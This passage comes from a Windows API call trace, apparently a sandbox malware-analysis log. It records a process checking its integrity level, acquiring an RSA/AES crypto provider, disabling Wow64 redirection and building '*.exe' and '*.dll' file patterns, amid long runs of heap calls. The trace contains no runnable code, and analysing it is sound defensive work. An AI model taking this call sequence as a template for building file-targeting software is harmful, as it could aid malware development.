IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x49c5a9 [0180.259] GetSidSubAuthority (pSid=0x49c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x49c5b0 [0180.259] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0180.259] NtClose (Handle=0xa0) returned 0x0 [0180.259] GetSystemInfo (in: lpSystemInfo=0x22f93c | out: lpSystemInfo=0x22f93c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0180.259] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x6c) returned 0x49b860 [0180.259] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0180.259] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0180.259] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c480 [0180.259] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c438 [0180.259] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c558 [0180.259] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c510 [0180.259] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x5000) returned 0x4a0048 [0180.260] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c4c8 [0180.260] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c4c8) returned 1 [0180.260] CryptAcquireContextW (in: phProv=0x22f950, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x22f950*=0x5ce3b8) returned 1 [0180.272] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a0048) returned 1 [0180.272] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49b8d8 [0180.272] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49b960 [0180.272] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c4c8 [0180.272] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49b9e8 [0180.272] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49ba70 [0180.272] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3f0 [0180.272] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49baf8 [0180.272] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3a8 [0180.272] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x5000) returned 0x4a0048 [0180.272] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c360 [0180.272] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c360) returned 1 [0180.272] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0180.425] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a0048) returned 1 [0180.425] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5c8a90, lpbSaclPresent=0x22f904, pSacl=0x22f958, lpbSaclDefaulted=0x22f904 | out: lpbSaclPresent=0x22f904, pSacl=0x22f958, lpbSaclDefaulted=0x22f904) returned 1 [0180.425] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c360 [0180.426] CreateEventA (lpEventAttributes=0x22f94c, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0180.426] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c360) returned 1 [0180.426] GetLastError () returned 0x0 [0180.426] LocalFree (hMem=0x5c8a90) returned 0x0 [0180.426] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c360 [0180.426] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x5000) returned 0x4a0048 [0180.426] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c318 [0180.426] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c318) returned 1 [0180.426] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0180.427] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a0048) returned 1 [0180.427] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5c8a90, lpbSaclPresent=0x22f904, pSacl=0x22f958, lpbSaclDefaulted=0x22f904 | out: lpbSaclPresent=0x22f904, pSacl=0x22f958, lpbSaclDefaulted=0x22f904) returned 1 [0180.427] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c318 [0180.427] CreateEventA (lpEventAttributes=0x22f94c, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0180.427] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c318) returned 1 [0180.427] GetLastError () returned 0x0 [0180.427] LocalFree (hMem=0x5c8a90) returned 0x0 [0180.427] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c318 [0180.427] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x5000) returned 0x4a0048 [0180.427] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c2d0 [0180.427] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c2d0) returned 1 [0180.427] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0180.428] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a0048) returned 1 [0180.428] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5c8a90, lpbSaclPresent=0x22f904, pSacl=0x22f958, lpbSaclDefaulted=0x22f904 | out: lpbSaclPresent=0x22f904, pSacl=0x22f958, lpbSaclDefaulted=0x22f904) returned 1 [0180.428] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c2d0 [0180.428] CreateEventA (lpEventAttributes=0x22f94c, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0180.428] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c2d0) returned 1 [0180.428] GetLastError () returned 0x0 [0180.428] LocalFree (hMem=0x5c8a90) returned 0x0 [0180.428] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x4a0048 [0180.428] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bb80 [0180.428] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c2d0 [0180.428] Wow64DisableWow64FsRedirection (in: OldValue=0x22f980 | out: OldValue=0x22f980*=0x0) returned 1 [0180.428] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x4a2850 [0180.428] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.428] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.428] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0180.428] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0180.428] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.428] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0180.428] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0180.428] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.428] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0180.428] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0180.428] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a2850) returned 1 [0180.428] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x4a2850 [0180.428] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.428] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.428] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d600 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2b8 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2a8 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2b8) returned 1 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2a8) returned 1 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d600) returned 1 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d600 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2a8 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2b8 [0180.429] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0180.429] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2a8) returned 1 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2b8) returned 1 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d600) returned 1 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a2850) returned 1 [0180.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49d9d0 [0180.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c1f8, cbMultiByte=5, lpWideCharStr=0x49d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49da58 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d9d0) returned 1 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d600 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2b8 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49d9d0 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49da58) returned 1 [0180.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49da58 [0180.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c288, cbMultiByte=5, lpWideCharStr=0x49da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dae0 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49da58) returned 1 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2a8 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49da58 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dae0) returned 1 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x4a2850 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.430] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.430] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0180.431] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0180.431] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d298 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0180.431] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d288 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.431] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x49bc08 [0180.431] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d278 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0180.431] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d268 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.431] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x4a5058 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d248 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5e8 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d238 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c630 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d228 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c678 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d218 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c6c0 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d208 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c708 [0180.431] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1e8 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c750 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1f8 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c798 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d298) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d288) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d278) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d268) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc08) returned 1 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.432] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d268 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d278 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0180.432] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d288 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x49bc08 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d298 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5e8) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d248) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c630) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d238) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c678) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d228) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c6c0) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d218) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c708) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d208) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c750) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1e8) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c798) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1f8) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a5058) returned 1 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x4a5058 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1f8 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c798 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 